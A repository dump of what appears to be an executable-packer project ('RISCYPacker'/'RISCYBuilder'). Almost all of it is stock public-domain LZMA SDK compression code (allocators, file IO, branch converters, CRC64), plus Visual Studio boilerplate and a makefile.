| PRODUCTVERSION MY_VER \ 27 | FILEFLAGSMASK MY_VS_FFI_FILEFLAGSMASK \ 28 | FILEFLAGS DBG_FL \ 29 | FILEOS MY_VOS_NT_WINDOWS32 \ 30 | FILETYPE fileType \ 31 | FILESUBTYPE 0x0L \ 32 | BEGIN \ 33 | BLOCK "StringFileInfo" \ 34 | BEGIN \ 35 | BLOCK "040904b0" \ 36 | BEGIN \ 37 | VALUE "CompanyName", "Igor Pavlov" \ 38 | VALUE "FileDescription", descr \ 39 | VALUE "FileVersion", MY_VERSION \ 40 | VALUE "InternalName", intName \ 41 | VALUE "LegalCopyright", MY_COPYRIGHT \ 42 | VALUE "OriginalFilename", origName \ 43 | VALUE "ProductName", "7-Zip" \ 44 | VALUE "ProductVersion", MY_VERSION \ 45 | END \ 46 | END \ 47 | BLOCK "VarFileInfo" \ 48 | BEGIN \ 49 | VALUE "Translation", 0x409, 1200 \ 50 | END \ 51 | END 52 | 53 | #define MY_VERSION_INFO_APP(descr, intName) MY_VERSION_INFO(MY_VFT_APP, descr, intName, intName ".exe") 54 | 55 | #define MY_VERSION_INFO_DLL(descr, intName) MY_VERSION_INFO(MY_VFT_DLL, descr, intName, intName ".dll") 56 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zAlloc.c: -------------------------------------------------------------------------------- 1 | /* 7zAlloc.c -- Allocation functions 2 | 2015-11-09 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "7zAlloc.h" 7 | 8 | /* #define _SZ_ALLOC_DEBUG */ 9 | /* use _SZ_ALLOC_DEBUG to debug alloc/free operations */ 10 | 11 | #ifdef _SZ_ALLOC_DEBUG 12 | 13 | #ifdef _WIN32 14 | #include 15 | #endif 16 | 17 | #include 18 | int g_allocCount = 0; 19 | int g_allocCountTemp = 0; 20 | 21 | #endif 22 | 23 | void *SzAlloc(void *p, size_t size) 24 | { 25 | UNUSED_VAR(p); 26 | if (size == 0) 27 | return 0; 28 | #ifdef _SZ_ALLOC_DEBUG 29 | fprintf(stderr, "\nAlloc %10u bytes; count = %10d", (unsigned)size, g_allocCount); 30 | g_allocCount++; 31 | #endif 32 | return malloc(size); 33 | } 34 | 35 | void SzFree(void *p, void *address) 36 | { 37 | UNUSED_VAR(p); 38 | #ifdef _SZ_ALLOC_DEBUG 39 | if (address != 0) 40 | { 41 | g_allocCount--; 42 | fprintf(stderr, "\nFree; count = %10d", g_allocCount); 43 | } 44 | #endif 45 | free(address); 46 | } 47 | 48 | void *SzAllocTemp(void *p, size_t size) 49 | { 50 | UNUSED_VAR(p); 51 | if (size == 0) 52 | return 0; 53 | #ifdef _SZ_ALLOC_DEBUG 54 | fprintf(stderr, "\nAlloc_temp %10u bytes; count = %10d", (unsigned)size, g_allocCountTemp); 55 | g_allocCountTemp++; 56 | #ifdef _WIN32 57 | return HeapAlloc(GetProcessHeap(), 0, size); 58 | #endif 59 | #endif 60 | return malloc(size); 61 | } 62 | 63 | void SzFreeTemp(void *p, void *address) 64 | { 65 | UNUSED_VAR(p); 66 | #ifdef _SZ_ALLOC_DEBUG 67 | if (address != 0) 68 | { 69 | g_allocCountTemp--; 70 | fprintf(stderr, "\nFree_temp; count = %10d", g_allocCountTemp); 71 | } 72 | #ifdef _WIN32 73 | HeapFree(GetProcessHeap(), 0, address); 74 | return; 75 | #endif 76 | #endif 77 | free(address); 78 | } 79 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zFile.h: -------------------------------------------------------------------------------- 1 | /* 7zFile.h -- File IO 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_FILE_H 5 | #define __7Z_FILE_H 6 | 7 | #ifdef _WIN32 8 | #define USE_WINDOWS_FILE 9 | #endif 10 | 11 | #ifdef USE_WINDOWS_FILE 12 | #include 13 | #else 14 | #include 15 | #endif 16 | 17 | #include "7zTypes.h" 18 | 19 | EXTERN_C_BEGIN 20 | 21 | /* ---------- File ---------- */ 22 | 23 | typedef struct 24 | { 25 | #ifdef USE_WINDOWS_FILE 26 | HANDLE handle; 27 | #else 28 | FILE *file; 29 | #endif 30 | } CSzFile; 31 | 32 | void File_Construct(CSzFile *p); 33 | #if !defined(UNDER_CE) || !defined(USE_WINDOWS_FILE) 34 | WRes InFile_Open(CSzFile *p, const char *name); 35 | WRes OutFile_Open(CSzFile *p, const char *name); 36 | #endif 37 | #ifdef USE_WINDOWS_FILE 38 | WRes InFile_OpenW(CSzFile *p, const WCHAR *name); 39 | WRes OutFile_OpenW(CSzFile *p, const WCHAR *name); 40 | #endif 41 | WRes File_Close(CSzFile *p); 42 | 43 | /* reads max(*size, remain file's size) bytes */ 44 | WRes File_Read(CSzFile *p, void *data, size_t *size); 45 | 46 | /* writes *size bytes */ 47 | WRes File_Write(CSzFile *p, const void *data, size_t *size); 48 | 49 | WRes File_Seek(CSzFile *p, Int64 *pos, ESzSeek origin); 50 | WRes File_GetLength(CSzFile *p, UInt64 *length); 51 | 52 | 53 | /* ---------- FileInStream ---------- */ 54 | 55 | typedef struct 56 | { 57 | ISeqInStream s; 58 | CSzFile file; 59 | } CFileSeqInStream; 60 | 61 | void FileSeqInStream_CreateVTable(CFileSeqInStream *p); 62 | 63 | 64 | typedef struct 65 | { 66 | ISeekInStream s; 67 | CSzFile file; 68 | } CFileInStream; 69 | 70 | void FileInStream_CreateVTable(CFileInStream *p); 71 | 72 | 73 | typedef struct 74 | { 75 | ISeqOutStream s; 76 | CSzFile file; 77 | } CFileOutStream; 78 | 79 | void FileOutStream_CreateVTable(CFileOutStream *p); 80 | 81 | EXTERN_C_END 82 | 83 | #endif 84 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : RISCYBuilder Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this RISCYBuilder application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your RISCYBuilder application. 9 | 10 | 11 | RISCYBuilder.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | RISCYBuilder.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | RISCYBuilder.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named RISCYBuilder.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/7z/makefile.gcc: -------------------------------------------------------------------------------- 1 | PROG = 7zDec 2 | CXX = gcc 3 | LIB = 4 | RM = rm -f 5 | CFLAGS = -c -O2 -Wall 6 | 7 | OBJS = 7zMain.o 7zAlloc.o 7zArcIn.o 7zBuf.o 7zBuf2.o 7zCrc.o 7zCrcOpt.o 7zDec.o CpuArch.o Delta.o LzmaDec.o Lzma2Dec.o Bra.o Bra86.o BraIA64.o Bcj2.o Ppmd7.o Ppmd7Dec.o 7zFile.o 7zStream.o 8 | 9 | all: $(PROG) 10 | 11 | $(PROG): $(OBJS) 12 | $(CXX) -o $(PROG) $(LDFLAGS) $(OBJS) $(LIB) 13 | 14 | 7zMain.o: 7zMain.c 15 | $(CXX) $(CFLAGS) 7zMain.c 16 | 17 | 7zAlloc.o: ../../7zAlloc.c 18 | $(CXX) $(CFLAGS) ../../7zAlloc.c 19 | 20 | 7zArcIn.o: ../../7zArcIn.c 21 | $(CXX) $(CFLAGS) ../../7zArcIn.c 22 | 23 | 7zBuf.o: ../../7zBuf.c 24 | $(CXX) $(CFLAGS) ../../7zBuf.c 25 | 26 | 7zBuf2.o: ../../7zBuf2.c 27 | $(CXX) $(CFLAGS) ../../7zBuf2.c 28 | 29 | 7zCrc.o: ../../7zCrc.c 30 | $(CXX) $(CFLAGS) ../../7zCrc.c 31 | 32 | 7zCrcOpt.o: ../../7zCrc.c 33 | $(CXX) $(CFLAGS) ../../7zCrcOpt.c 34 | 35 | 7zDec.o: ../../7zDec.c 36 | $(CXX) $(CFLAGS) -D_7ZIP_PPMD_SUPPPORT ../../7zDec.c 37 | 38 | CpuArch.o: ../../CpuArch.c 39 | $(CXX) $(CFLAGS) ../../CpuArch.c 40 | 41 | Delta.o: ../../Delta.c 42 | $(CXX) $(CFLAGS) ../../Delta.c 43 | 44 | LzmaDec.o: ../../LzmaDec.c 45 | $(CXX) $(CFLAGS) ../../LzmaDec.c 46 | 47 | Lzma2Dec.o: ../../Lzma2Dec.c 48 | $(CXX) $(CFLAGS) ../../Lzma2Dec.c 49 | 50 | Bra.o: ../../Bra.c 51 | $(CXX) $(CFLAGS) ../../Bra.c 52 | 53 | Bra86.o: ../../Bra86.c 54 | $(CXX) $(CFLAGS) ../../Bra86.c 55 | 56 | BraIA64.o: ../../BraIA64.c 57 | $(CXX) $(CFLAGS) ../../BraIA64.c 58 | 59 | Bcj2.o: ../../Bcj2.c 60 | $(CXX) $(CFLAGS) ../../Bcj2.c 61 | 62 | Ppmd7.o: ../../Ppmd7.c 63 | $(CXX) $(CFLAGS) ../../Ppmd7.c 64 | 65 | Ppmd7Dec.o: ../../Ppmd7Dec.c 66 | $(CXX) $(CFLAGS) ../../Ppmd7Dec.c 67 | 68 | 7zFile.o: ../../7zFile.c 69 | $(CXX) $(CFLAGS) ../../7zFile.c 70 | 71 | 7zStream.o: ../../7zStream.c 72 | $(CXX) $(CFLAGS) ../../7zStream.c 73 | 74 | clean: 75 | -$(RM) $(PROG) $(OBJS) 76 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzHash.h: -------------------------------------------------------------------------------- 1 | /* LzHash.h -- HASH functions for LZ algorithms 2 | 2015-04-12 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZ_HASH_H 5 | #define __LZ_HASH_H 6 | 7 | #define kHash2Size (1 << 10) 8 | #define kHash3Size (1 << 16) 9 | #define kHash4Size (1 << 20) 10 | 11 | #define kFix3HashSize (kHash2Size) 12 | #define kFix4HashSize (kHash2Size + kHash3Size) 13 | #define kFix5HashSize (kHash2Size + kHash3Size + kHash4Size) 14 | 15 | #define HASH2_CALC hv = cur[0] | ((UInt32)cur[1] << 8); 16 | 17 | #define HASH3_CALC { \ 18 | UInt32 temp = p->crc[cur[0]] ^ cur[1]; \ 19 | h2 = temp & (kHash2Size - 1); \ 20 | hv = (temp ^ ((UInt32)cur[2] << 8)) & p->hashMask; } 21 | 22 | #define HASH4_CALC { \ 23 | UInt32 temp = p->crc[cur[0]] ^ cur[1]; \ 24 | h2 = temp & (kHash2Size - 1); \ 25 | temp ^= ((UInt32)cur[2] << 8); \ 26 | h3 = temp & (kHash3Size - 1); \ 27 | hv = (temp ^ (p->crc[cur[3]] << 5)) & p->hashMask; } 28 | 29 | #define HASH5_CALC { \ 30 | UInt32 temp = p->crc[cur[0]] ^ cur[1]; \ 31 | h2 = temp & (kHash2Size - 1); \ 32 | temp ^= ((UInt32)cur[2] << 8); \ 33 | h3 = temp & (kHash3Size - 1); \ 34 | temp ^= (p->crc[cur[3]] << 5); \ 35 | h4 = temp & (kHash4Size - 1); \ 36 | hv = (temp ^ (p->crc[cur[4]] << 3)) & p->hashMask; } 37 | 38 | /* #define HASH_ZIP_CALC hv = ((cur[0] | ((UInt32)cur[1] << 8)) ^ p->crc[cur[2]]) & 0xFFFF; */ 39 | #define HASH_ZIP_CALC hv = ((cur[2] | ((UInt32)cur[0] << 8)) ^ p->crc[cur[1]]) & 0xFFFF; 40 | 41 | 42 | #define MT_HASH2_CALC \ 43 | h2 = (p->crc[cur[0]] ^ cur[1]) & (kHash2Size - 1); 44 | 45 | #define MT_HASH3_CALC { \ 46 | UInt32 temp = p->crc[cur[0]] ^ cur[1]; \ 47 | h2 = temp & (kHash2Size - 1); \ 48 | h3 = (temp ^ ((UInt32)cur[2] << 8)) & (kHash3Size - 1); } 49 | 50 | #define MT_HASH4_CALC { \ 51 | UInt32 temp = p->crc[cur[0]] ^ cur[1]; \ 52 | h2 = temp & (kHash2Size - 1); \ 53 | temp ^= ((UInt32)cur[2] << 8); \ 54 | h3 = temp & (kHash3Size - 1); \ 55 | h4 = (temp ^ (p->crc[cur[3]] << 5)) & (kHash4Size - 1); } 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Lzma2Enc.h: -------------------------------------------------------------------------------- 1 | /* Lzma2Enc.h -- LZMA2 Encoder 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZMA2_ENC_H 5 | #define __LZMA2_ENC_H 6 | 7 | #include "LzmaEnc.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | typedef struct 12 | { 13 | CLzmaEncProps lzmaProps; 14 | size_t blockSize; 15 | int numBlockThreads; 16 | int numTotalThreads; 17 | } CLzma2EncProps; 18 | 19 | void Lzma2EncProps_Init(CLzma2EncProps *p); 20 | void Lzma2EncProps_Normalize(CLzma2EncProps *p); 21 | 22 | /* ---------- CLzmaEnc2Handle Interface ---------- */ 23 | 24 | /* Lzma2Enc_* functions can return the following exit codes: 25 | Returns: 26 | SZ_OK - OK 27 | SZ_ERROR_MEM - Memory allocation error 28 | SZ_ERROR_PARAM - Incorrect paramater in props 29 | SZ_ERROR_WRITE - Write callback error 30 | SZ_ERROR_PROGRESS - some break from progress callback 31 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 32 | */ 33 | 34 | typedef void * CLzma2EncHandle; 35 | 36 | CLzma2EncHandle Lzma2Enc_Create(ISzAlloc *alloc, ISzAlloc *allocBig); 37 | void Lzma2Enc_Destroy(CLzma2EncHandle p); 38 | SRes Lzma2Enc_SetProps(CLzma2EncHandle p, const CLzma2EncProps *props); 39 | Byte Lzma2Enc_WriteProperties(CLzma2EncHandle p); 40 | SRes Lzma2Enc_Encode(CLzma2EncHandle p, 41 | ISeqOutStream *outStream, ISeqInStream *inStream, ICompressProgress *progress); 42 | 43 | /* ---------- One Call Interface ---------- */ 44 | 45 | /* Lzma2Encode 46 | Return code: 47 | SZ_OK - OK 48 | SZ_ERROR_MEM - Memory allocation error 49 | SZ_ERROR_PARAM - Incorrect paramater 50 | SZ_ERROR_OUTPUT_EOF - output buffer overflow 51 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 52 | */ 53 | 54 | /* 55 | SRes Lzma2Encode(Byte *dest, SizeT *destLen, const Byte *src, SizeT srcLen, 56 | const CLzmaEncProps *props, Byte *propsEncoded, int writeEndMark, 57 | ICompressProgress *progress, ISzAlloc *alloc, ISzAlloc *allocBig); 58 | */ 59 | 60 | EXTERN_C_END 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/BraIA64.c: -------------------------------------------------------------------------------- 1 | /* BraIA64.c -- Converter for IA-64 code 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Bra.h" 7 | 8 | static const Byte kBranchTable[32] = 9 | { 10 | 0, 0, 0, 0, 0, 0, 0, 0, 11 | 0, 0, 0, 0, 0, 0, 0, 0, 12 | 4, 4, 6, 6, 0, 0, 7, 7, 13 | 4, 4, 0, 0, 4, 4, 0, 0 14 | }; 15 | 16 | SizeT IA64_Convert(Byte *data, SizeT size, UInt32 ip, int encoding) 17 | { 18 | SizeT i; 19 | if (size < 16) 20 | return 0; 21 | size -= 16; 22 | for (i = 0; i <= size; i += 16) 23 | { 24 | UInt32 instrTemplate = data[i] & 0x1F; 25 | UInt32 mask = kBranchTable[instrTemplate]; 26 | UInt32 bitPos = 5; 27 | int slot; 28 | for (slot = 0; slot < 3; slot++, bitPos += 41) 29 | { 30 | UInt32 bytePos, bitRes; 31 | UInt64 instruction, instNorm; 32 | int j; 33 | if (((mask >> slot) & 1) == 0) 34 | continue; 35 | bytePos = (bitPos >> 3); 36 | bitRes = bitPos & 0x7; 37 | instruction = 0; 38 | for (j = 0; j < 6; j++) 39 | instruction += (UInt64)data[i + j + bytePos] << (8 * j); 40 | 41 | instNorm = instruction >> bitRes; 42 | if (((instNorm >> 37) & 0xF) == 0x5 && ((instNorm >> 9) & 0x7) == 0) 43 | { 44 | UInt32 src = (UInt32)((instNorm >> 13) & 0xFFFFF); 45 | UInt32 dest; 46 | src |= ((UInt32)(instNorm >> 36) & 1) << 20; 47 | 48 | src <<= 4; 49 | 50 | if (encoding) 51 | dest = ip + (UInt32)i + src; 52 | else 53 | dest = src - (ip + (UInt32)i); 54 | 55 | dest >>= 4; 56 | 57 | instNorm &= ~((UInt64)(0x8FFFFF) << 13); 58 | instNorm |= ((UInt64)(dest & 0xFFFFF) << 13); 59 | instNorm |= ((UInt64)(dest & 0x100000) << (36 - 20)); 60 | 61 | instruction &= (1 << bitRes) - 1; 62 | instruction |= (instNorm << bitRes); 63 | for (j = 0; j < 6; j++) 64 | data[i + j + bytePos] = (Byte)(instruction >> (8 * j)); 65 | } 66 | } 67 | } 68 | return i; 69 | } 70 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Bra86.c: -------------------------------------------------------------------------------- 1 | /* Bra86.c -- Converter for x86 code (BCJ) 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Bra.h" 7 | 8 | #define Test86MSByte(b) ((((b) + 1) & 0xFE) == 0) 9 | 10 | SizeT x86_Convert(Byte *data, SizeT size, UInt32 ip, UInt32 *state, int encoding) 11 | { 12 | SizeT pos = 0; 13 | UInt32 mask = *state & 7; 14 | if (size < 5) 15 | return 0; 16 | size -= 4; 17 | ip += 5; 18 | 19 | for (;;) 20 | { 21 | Byte *p = data + pos; 22 | const Byte *limit = data + size; 23 | for (; p < limit; p++) 24 | if ((*p & 0xFE) == 0xE8) 25 | break; 26 | 27 | { 28 | SizeT d = (SizeT)(p - data - pos); 29 | pos = (SizeT)(p - data); 30 | if (p >= limit) 31 | { 32 | *state = (d > 2 ? 0 : mask >> (unsigned)d); 33 | return pos; 34 | } 35 | if (d > 2) 36 | mask = 0; 37 | else 38 | { 39 | mask >>= (unsigned)d; 40 | if (mask != 0 && (mask > 4 || mask == 3 || Test86MSByte(p[(mask >> 1) + 1]))) 41 | { 42 | mask = (mask >> 1) | 4; 43 | pos++; 44 | continue; 45 | } 46 | } 47 | } 48 | 49 | if (Test86MSByte(p[4])) 50 | { 51 | UInt32 v = ((UInt32)p[4] << 24) | ((UInt32)p[3] << 16) | ((UInt32)p[2] << 8) | ((UInt32)p[1]); 52 | UInt32 cur = ip + (UInt32)pos; 53 | pos += 5; 54 | if (encoding) 55 | v += cur; 56 | else 57 | v -= cur; 58 | if (mask != 0) 59 | { 60 | unsigned sh = (mask & 6) << 2; 61 | if (Test86MSByte((Byte)(v >> sh))) 62 | { 63 | v ^= (((UInt32)0x100 << sh) - 1); 64 | if (encoding) 65 | v += cur; 66 | else 67 | v -= cur; 68 | } 69 | mask = 0; 70 | } 71 | p[1] = (Byte)v; 72 | p[2] = (Byte)(v >> 8); 73 | p[3] = (Byte)(v >> 16); 74 | p[4] = (Byte)(0 - ((v >> 24) & 1)); 75 | } 76 | else 77 | { 78 | mask = (mask >> 1) | 4; 79 | pos++; 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Bra.h: -------------------------------------------------------------------------------- 1 | /* Bra.h -- Branch converters for executables 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __BRA_H 5 | #define __BRA_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | /* 12 | These functions convert relative addresses to absolute addresses 13 | in CALL instructions to increase the compression ratio. 14 | 15 | In: 16 | data - data buffer 17 | size - size of data 18 | ip - current virtual Instruction Pinter (IP) value 19 | state - state variable for x86 converter 20 | encoding - 0 (for decoding), 1 (for encoding) 21 | 22 | Out: 23 | state - state variable for x86 converter 24 | 25 | Returns: 26 | The number of processed bytes. If you call these functions with multiple calls, 27 | you must start next call with first byte after block of processed bytes. 28 | 29 | Type Endian Alignment LookAhead 30 | 31 | x86 little 1 4 32 | ARMT little 2 2 33 | ARM little 4 0 34 | PPC big 4 0 35 | SPARC big 4 0 36 | IA64 little 16 0 37 | 38 | size must be >= Alignment + LookAhead, if it's not last block. 39 | If (size < Alignment + LookAhead), converter returns 0. 40 | 41 | Example: 42 | 43 | UInt32 ip = 0; 44 | for () 45 | { 46 | ; size must be >= Alignment + LookAhead, if it's not last block 47 | SizeT processed = Convert(data, size, ip, 1); 48 | data += processed; 49 | size -= processed; 50 | ip += processed; 51 | } 52 | */ 53 | 54 | #define x86_Convert_Init(state) { state = 0; } 55 | SizeT x86_Convert(Byte *data, SizeT size, UInt32 ip, UInt32 *state, int encoding); 56 | SizeT ARM_Convert(Byte *data, SizeT size, UInt32 ip, int encoding); 57 | SizeT ARMT_Convert(Byte *data, SizeT size, UInt32 ip, int encoding); 58 | SizeT PPC_Convert(Byte *data, SizeT size, UInt32 ip, int encoding); 59 | SizeT SPARC_Convert(Byte *data, SizeT size, UInt32 ip, int encoding); 60 | SizeT IA64_Convert(Byte *data, SizeT size, UInt32 ip, int encoding); 61 | 62 | EXTERN_C_END 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/RISCYBuilder.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/DllSecur.c: -------------------------------------------------------------------------------- 1 | /* DllSecur.c -- DLL loading security 2 | 2016-10-04 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #ifdef _WIN32 7 | 8 | #include 9 | 10 | #include "DllSecur.h" 11 | 12 | #ifndef UNDER_CE 13 | 14 | typedef BOOL (WINAPI *Func_SetDefaultDllDirectories)(DWORD DirectoryFlags); 15 | 16 | #define MY_LOAD_LIBRARY_SEARCH_USER_DIRS 0x400 17 | #define MY_LOAD_LIBRARY_SEARCH_SYSTEM32 0x800 18 | 19 | static const char * const g_Dlls = 20 | #ifndef _CONSOLE 21 | "UXTHEME\0" 22 | #endif 23 | "USERENV\0" 24 | "SETUPAPI\0" 25 | "APPHELP\0" 26 | "PROPSYS\0" 27 | "DWMAPI\0" 28 | "CRYPTBASE\0" 29 | "OLEACC\0" 30 | "CLBCATQ\0" 31 | ; 32 | 33 | #endif 34 | 35 | void LoadSecurityDlls() 36 | { 37 | #ifndef UNDER_CE 38 | 39 | wchar_t buf[MAX_PATH + 100]; 40 | 41 | { 42 | // at Vista (ver 6.0) : CoCreateInstance(CLSID_ShellLink, ...) doesn't work after SetDefaultDllDirectories() : Check it ??? 43 | OSVERSIONINFO vi; 44 | vi.dwOSVersionInfoSize = sizeof(vi); 45 | if (!GetVersionEx(&vi) || vi.dwMajorVersion != 6 || vi.dwMinorVersion != 0) 46 | { 47 | Func_SetDefaultDllDirectories setDllDirs = (Func_SetDefaultDllDirectories) 48 | GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "SetDefaultDllDirectories"); 49 | if (setDllDirs) 50 | if (setDllDirs(MY_LOAD_LIBRARY_SEARCH_SYSTEM32 | MY_LOAD_LIBRARY_SEARCH_USER_DIRS)) 51 | return; 52 | } 53 | } 54 | 55 | { 56 | unsigned len = GetSystemDirectoryW(buf, MAX_PATH + 2); 57 | if (len == 0 || len > MAX_PATH) 58 | return; 59 | } 60 | { 61 | const char *dll; 62 | unsigned pos = (unsigned)lstrlenW(buf); 63 | 64 | if (buf[pos - 1] != '\\') 65 | buf[pos++] = '\\'; 66 | 67 | for (dll = g_Dlls; dll[0] != 0;) 68 | { 69 | unsigned k = 0; 70 | for (;;) 71 | { 72 | char c = *dll++; 73 | buf[pos + k] = c; 74 | k++; 75 | if (c == 0) 76 | break; 77 | } 78 | 79 | lstrcatW(buf, L".dll"); 80 | LoadLibraryExW(buf, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); 81 | } 82 | } 83 | 84 | #endif 85 | } 86 | 87 | #endif 88 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/XzCrc64Opt.c: -------------------------------------------------------------------------------- 1 | /* XzCrc64Opt.c -- CRC64 calculation 2 | 2015-03-01 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "CpuArch.h" 7 | 8 | #ifndef MY_CPU_BE 9 | 10 | #define CRC_UPDATE_BYTE_2(crc, b) (table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 11 | 12 | UInt64 MY_FAST_CALL XzCrc64UpdateT4(UInt64 v, const void *data, size_t size, const UInt64 *table) 13 | { 14 | const Byte *p = (const Byte *)data; 15 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 3) != 0; size--, p++) 16 | v = CRC_UPDATE_BYTE_2(v, *p); 17 | for (; size >= 4; size -= 4, p += 4) 18 | { 19 | UInt32 d = (UInt32)v ^ *(const UInt32 *)p; 20 | v = (v >> 32) 21 | ^ table[0x300 + ((d ) & 0xFF)] 22 | ^ table[0x200 + ((d >> 8) & 0xFF)] 23 | ^ table[0x100 + ((d >> 16) & 0xFF)] 24 | ^ table[0x000 + ((d >> 24))]; 25 | } 26 | for (; size > 0; size--, p++) 27 | v = CRC_UPDATE_BYTE_2(v, *p); 28 | return v; 29 | } 30 | 31 | #endif 32 | 33 | 34 | #ifndef MY_CPU_LE 35 | 36 | #define CRC_UINT64_SWAP(v) \ 37 | ((v >> 56) \ 38 | | ((v >> 40) & ((UInt64)0xFF << 8)) \ 39 | | ((v >> 24) & ((UInt64)0xFF << 16)) \ 40 | | ((v >> 8) & ((UInt64)0xFF << 24)) \ 41 | | ((v << 8) & ((UInt64)0xFF << 32)) \ 42 | | ((v << 24) & ((UInt64)0xFF << 40)) \ 43 | | ((v << 40) & ((UInt64)0xFF << 48)) \ 44 | | ((v << 56))) 45 | 46 | #define CRC_UPDATE_BYTE_2_BE(crc, b) (table[(Byte)((crc) >> 56) ^ (b)] ^ ((crc) << 8)) 47 | 48 | UInt64 MY_FAST_CALL XzCrc64UpdateT1_BeT4(UInt64 v, const void *data, size_t size, const UInt64 *table) 49 | { 50 | const Byte *p = (const Byte *)data; 51 | table += 0x100; 52 | v = CRC_UINT64_SWAP(v); 53 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 3) != 0; size--, p++) 54 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 55 | for (; size >= 4; size -= 4, p += 4) 56 | { 57 | UInt32 d = (UInt32)(v >> 32) ^ *(const UInt32 *)p; 58 | v = (v << 32) 59 | ^ table[0x000 + ((d ) & 0xFF)] 60 | ^ table[0x100 + ((d >> 8) & 0xFF)] 61 | ^ table[0x200 + ((d >> 16) & 0xFF)] 62 | ^ table[0x300 + ((d >> 24))]; 63 | } 64 | for (; size > 0; size--, p++) 65 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 66 | return CRC_UINT64_SWAP(v); 67 | } 68 | 69 | #endif 70 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Threads.h: -------------------------------------------------------------------------------- 1 | /* Threads.h -- multithreading library 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_THREADS_H 5 | #define __7Z_THREADS_H 6 | 7 | #ifdef _WIN32 8 | #include 9 | #endif 10 | 11 | #include "7zTypes.h" 12 | 13 | EXTERN_C_BEGIN 14 | 15 | WRes HandlePtr_Close(HANDLE *h); 16 | WRes Handle_WaitObject(HANDLE h); 17 | 18 | typedef HANDLE CThread; 19 | #define Thread_Construct(p) *(p) = NULL 20 | #define Thread_WasCreated(p) (*(p) != NULL) 21 | #define Thread_Close(p) HandlePtr_Close(p) 22 | #define Thread_Wait(p) Handle_WaitObject(*(p)) 23 | 24 | typedef 25 | #ifdef UNDER_CE 26 | DWORD 27 | #else 28 | unsigned 29 | #endif 30 | THREAD_FUNC_RET_TYPE; 31 | 32 | #define THREAD_FUNC_CALL_TYPE MY_STD_CALL 33 | #define THREAD_FUNC_DECL THREAD_FUNC_RET_TYPE THREAD_FUNC_CALL_TYPE 34 | typedef THREAD_FUNC_RET_TYPE (THREAD_FUNC_CALL_TYPE * THREAD_FUNC_TYPE)(void *); 